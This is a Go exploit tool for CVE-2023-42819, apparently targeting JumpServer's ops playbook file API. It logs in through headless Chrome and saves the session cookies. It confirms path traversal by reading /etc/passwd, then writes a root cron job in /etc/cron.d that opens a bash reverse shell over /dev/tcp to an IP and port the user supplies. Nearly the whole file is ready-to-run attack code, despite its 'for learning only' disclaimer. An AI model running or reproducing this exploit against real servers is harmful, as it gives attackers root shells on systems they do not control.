package main

import (
	"encoding/json"
	"flag"
	"fmt"
	"github.com/go-resty/resty/v2"
	log "github.com/sirupsen/logrus"
	"github.com/tebeka/selenium"
	"github.com/tebeka/selenium/chrome"
	"math/rand"
	"net/http"
	"net/url"
	"os"
	"strings"
	"time"
)

const (
	chromeDriverPath = "./chromedriver.exe" // 仓库根路径
	port             = 4443
)

var (
	PROXIES string
)

func banner() {
	fmt.Println(`

	██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██╗  ██╗██████╗  █████╗  ██╗ █████╗
	██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ██║  ██║╚════██╗██╔══██╗███║██╔══██╗
	██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
	██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
	╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝           ██║███████╗╚█████╔╝ ██║ █████╔╝
	╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝            ╚═╝╚══════╝ ╚════╝  ╚═╝ ╚════╝
	
    @Auth: C1ph3rX13
    @Blog: https://c1ph3rx13.github.io
    @Note: 代码仅供学习使用，请勿用于其他用途
	`)

}

func init() {
	// 配置日志格式
	log.SetFormatter(&log.TextFormatter{
		ForceColors:               true,
		EnvironmentOverrideColors: true,                  // 显示颜色
		TimestampFormat:           "2006-01-02 15:04:05", // 格式化时间
		FullTimestamp:             true,
		DisableLevelTruncation:    true,
	})

	// 设置日志级别为: Info
	log.SetLevel(log.InfoLevel)
}

func driverConfig() selenium.WebDriver {
	// 需要先启动 ChromeDriverService
	_, err := selenium.NewChromeDriverService(chromeDriverPath, port)
	if err != nil {
		log.Panicf("Error starting the ChromeDriver Server: %v", err)
	}

	// 设置 Chrome 的启动参数
	caps := selenium.Capabilities{
		"browserName": "chrome",
	}
	// 使用字符串插值来替换 --proxy-server 参数中的 PROXIES，变量的值将被动态地插入到启动参数
	opts := chrome.Capabilities{
		Args: []string{
			"--headless",
			"--no-sandbox",
			"--disable-gpu",
			"--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.46",
		}}
	if PROXIES != "" {
		opts.Args = append(opts.Args, fmt.Sprintf("--proxy-server=%s", PROXIES))
	}
	caps.AddChrome(opts)

	// 设置 Debug 模式为 false
	selenium.SetDebug(false)

	// 启动 Chrome 访问网页
	driver, err := selenium.NewRemote(caps, fmt.Sprintf("http://localhost:%d/wd/hub", port))
	if err != nil {
		log.Panicf("Error starting the ChromeDriver Remote: %v", err)
	}

	return driver
}

func doLogin(target string, username string, password string) {
	// 实例化浏览器对象
	browser := driverConfig()

	// 拼接路径
	loginUrl := target + "/core/auth/login/"
	log.Infof("Request Url: %s", loginUrl)

	// 打开登录页面
	if err := browser.Get(loginUrl); err != nil {
		log.Panicf("Request Error: %v", err)
	} else {
		log.Info("Request Successfully")
	}
	time.Sleep(time.Second * 3)

	// 定位
	usernameInput, _ := browser.FindElement(selenium.ByName, "username")
	passwordInput, _ := browser.FindElement(selenium.ByID, "password")
	btn, _ := browser.FindElement(selenium.ByXPATH, "//*[@id=\"login-form\"]/div[5]/button")

	// 清空输入框
	_ = usernameInput.Clear()
	_ = passwordInput.Clear()

	// 输入用户名和密码
	_ = usernameInput.SendKeys(username)
	_ = passwordInput.SendKeys(password)

	// 点击提交
	_ = btn.Click()

	// 获取 cookies
	cookies, _ := browser.GetCookies()

	// 将 []Cookie 转换为 JSON 格式字符串
	data, _ := json.MarshalIndent(cookies, "", "  ")

	// 将 JSON 字符串写入文件
	err := os.WriteFile("cookies.json", data, 0777)
	if err != nil {
		log.Panicf("Write Failed : %v", cookies)
	} else {
		log.Info("Cookies Successful Write")
	}

	defer func(browser selenium.WebDriver) {
		err := browser.Quit()
		if err != nil {
			log.Panicf("Close Error: %v", err)
		}
	}(browser)

}

func generateRandomLetters(length int) string {
	source := rand.NewSource(time.Now().UnixNano()) // 创建新的随机源
	random := rand.New(source)                      // 创建新的随机数生成器

	letters := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
	randomLetters := make([]byte, length)
	for i := 0; i < length; i++ {
		randomLetters[i] = letters[random.Intn(len(letters))]
	}

	return string(randomLetters)
}

func clientConfig() *resty.Client {
	// 读取 cookie.json
	file, err := os.ReadFile("cookies.json")
	if err != nil {
		log.Warnf("Read Error: %v", err)
	}

	// 解析 JSON 格式的 cookies
	var cookies []*http.Cookie
	err = json.Unmarshal(file, &cookies)
	if err != nil {
		log.Fatal("JSON Error: ", err)
	}

	// 编码 Cookie 值
	for _, cookie := range cookies {
		cookie.Value = url.QueryEscape(cookie.Value)
	}

	headers := map[string]string{
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
	}

	// 遍历 cookies 切片，将每个 cookie 添加到 headers 中
	for _, cookie := range cookies {
		if cookie.Name == "jms_csrftoken" {
			headers["X-CSRFToken"] = cookie.Value
			log.Warnf("X-CSRFToken Found: %v", cookie.Value)
			break
		}
	}

	// 编码 headers 值
	for key, value := range headers {
		headers[key] = url.QueryEscape(value)
	}

	// 配置 client
	client := resty.New().
		SetCookies(cookies).
		SetHeaders(headers)
	// 配置代理
	if PROXIES != "" {
		client.SetProxy(PROXIES)
	}

	return client

}

func uidVerify(target string, client *resty.Client) string {
	// 拼接路径
	uidUrl := target + "/api/v1/ops/playbooks/"
	log.Infof("Request Url: %s", uidUrl)

	// 发起请求
	resp, err := client.R().
		Get(uidUrl)
	if err != nil {
		log.Fatalf("uidVerify Request Error: %v", err)
	}
	defer resp.RawResponse.Body.Close()

	if !resp.IsError() && strings.Contains(resp.String(), "id") {
		log.Warnf("Playbook API Info: %v", resp.String())
		// 将响应文本解析为 JSON
		var jsonData []map[string]interface{}
		err = json.Unmarshal(resp.Body(), &jsonData)
		if err != nil {
			log.Fatalf("JSON parsing failed: %v", err)
		}

		// 遍历 ID
		var ids []string
		for _, entry := range jsonData {
			if id, ok := entry["id"].(string); ok {
				ids = append(ids, id)
			}
		}

		// 判断 ID 的长度
		if len(ids) > 0 {
			log.Warnf("Playbook UID: %v", ids[0])
			return ids[0]
		}
	}

	log.Warn("Playbook UID is not exists")
	return ""
}

func addPlaybook(target string, client *resty.Client) {
	playbookUrl := target + "/api/v1/ops/playbooks/"
	log.Infof("Add Playbook Url: %v", playbookUrl)

	// 随机命名
	playbookName := generateRandomLetters(4)

	// POST JSON
	addJson := map[string]interface{}{
		"name": playbookName,
	}

	// 发起请求
	resp, err := client.R().
		SetBody(addJson).
		Post(playbookUrl)
	if err != nil {
		log.Fatalf("addPlaybook Request Error: %v", err)
	}

	// 判断请求是否成功
	if !resp.IsError() && strings.Contains(resp.String(), "id") {
		log.Warnf("Successfully Added: %v", resp.String())
	} else {
		log.Warnf("Error: %v", resp.String())
	}

	defer resp.RawResponse.Body.Close()
}

func poc(target string, uid string, client *resty.Client) bool {
	pocUrl := target + "/api/v1/ops/playbook/" + uid + "/file/?key=/etc/passwd"
	log.Infof("POC Url: %v", pocUrl)

	// 发起请求
	resp, err := client.R().
		Get(pocUrl)
	if err != nil {
		log.Fatalf("Poc Request Error: %v", err)
	}

	// 判断请求是否成功
	if !resp.IsError() && strings.Contains(resp.String(), "root") {
		log.Warnf("Vulnerable: %v", resp.Request.URL)
		log.Warnf("Output: %v", resp.String())
		return true
	} else {
		log.Warnf("Not Vulnerable: %v", resp.String())
		return false
	}

}

func exp(target string, uid string, client *resty.Client, ip string, port string) {
	expUrl := target + "/api/v1/ops/playbook/" + uid + "/file/"
	log.Infof("EXP Url: %v", expUrl)

	// Directory JSON
	dirData := map[string]interface{}{
		"key":          "/etc/cron.d", // 创建路径
		"is_directory": true,          // 创建文件夹
		"name":         "/etc/cron.d", // 指定创建文件夹的名称
	}

	// 随机计划任务文件名
	shellName := generateRandomLetters(4)
	// Reverse Shell JSON
	shellData := map[string]interface{}{
		"key":          "/etc/cron.d",                                                                        // 创建文件的路径
		"is_directory": false,                                                                                // 不创建文件夹
		"name":         shellName,                                                                            // 创建文件的名称
		"content":      fmt.Sprintf("* * * * * root bash -c \"bash -i >& /dev/tcp/%s/%s 0>&1\"\n", ip, port), // 创建文件的内容
	}

	// 发起请求: 创建计划任务目录
	dirResp, err := client.R().
		SetBody(dirData).
		Post(expUrl)
	if err != nil {
		log.Fatalf("EXP[DIR] Request Error: %v", err)
	}

	// 判断 创建计划任务文件夹 是否成功
	if dirResp.IsSuccess() {
		log.Warnf("Directory is Successfully Created: %v", dirResp.String())

		// 发起请求: 创建计划任务文件
		shellResp, err := client.R().
			SetBody(shellData).
			Post(expUrl)
		if err != nil {
			log.Fatalf("EXP[SHELL] Request Error: %v", err)
		}

		// 判断 创建计划任务文件 是否成功
		if shellResp.IsSuccess() {
			log.Warnf("Reverse Shell is Successfully Set: %v", shellResp.String())
		} else {
			log.Warnf("Reverse Shell Failed: %v", shellResp.String())
			log.Warnf("Reverse Shell Failed: %v", shellResp.Header())
		}

	} else {
		log.Warnf("Not Vulnerable: %v", dirResp.String())
	}
}

func exploit(target string, uid string, client *resty.Client, shellIP string, shellPort string) {
	if poc(target, uid, client) {
		exp(target, uid, client, shellIP, shellPort)
	}
}

func run(target string, username string, password string, shellIP string, shellPort string) {
	// 检查是否存在 cookies.json 文件
	if _, err := os.Stat("cookies.json"); os.IsNotExist(err) {
		// 登录并获取 cookies 和 headers
		log.Println("Cookie does not exist, DO LOGIN")
		doLogin(target, username, password)
	}

	// 获取请求客户端配置
	client := clientConfig()
	// 验证 uid
	uid := uidVerify(target, client)
	if uid == "" {
		// 添加动作
		addPlaybook(target, client)
		uid = uidVerify(target, client)
	}

	// 执行 exploit
	if uid != "" {
		exploit(target, uid, client, shellIP, shellPort)
	} else {
		log.Println("Failed to verify uid")
	}
}

func main() {
	banner()

	target := flag.String("t", "", "Target Url")
	username := flag.String("u", "", "Account Username")
	password := flag.String("p", "", "Account Password")
	ip := flag.String("ip", "", "Shell IP")
	port := flag.String("port", "", "Shell Port")
	proxy := flag.String("proxy", "", "Proxy Url")

	flag.Parse()

	if *target == "" || *username == "" || *password == "" || *ip == "" || *port == "" {
		fmt.Println("Missing required arguments.")
		flag.Usage()
		return
	}

	if *proxy != "" {
		PROXIES = *proxy
	}

	run(*target, *username, *password, *ip, *port)
}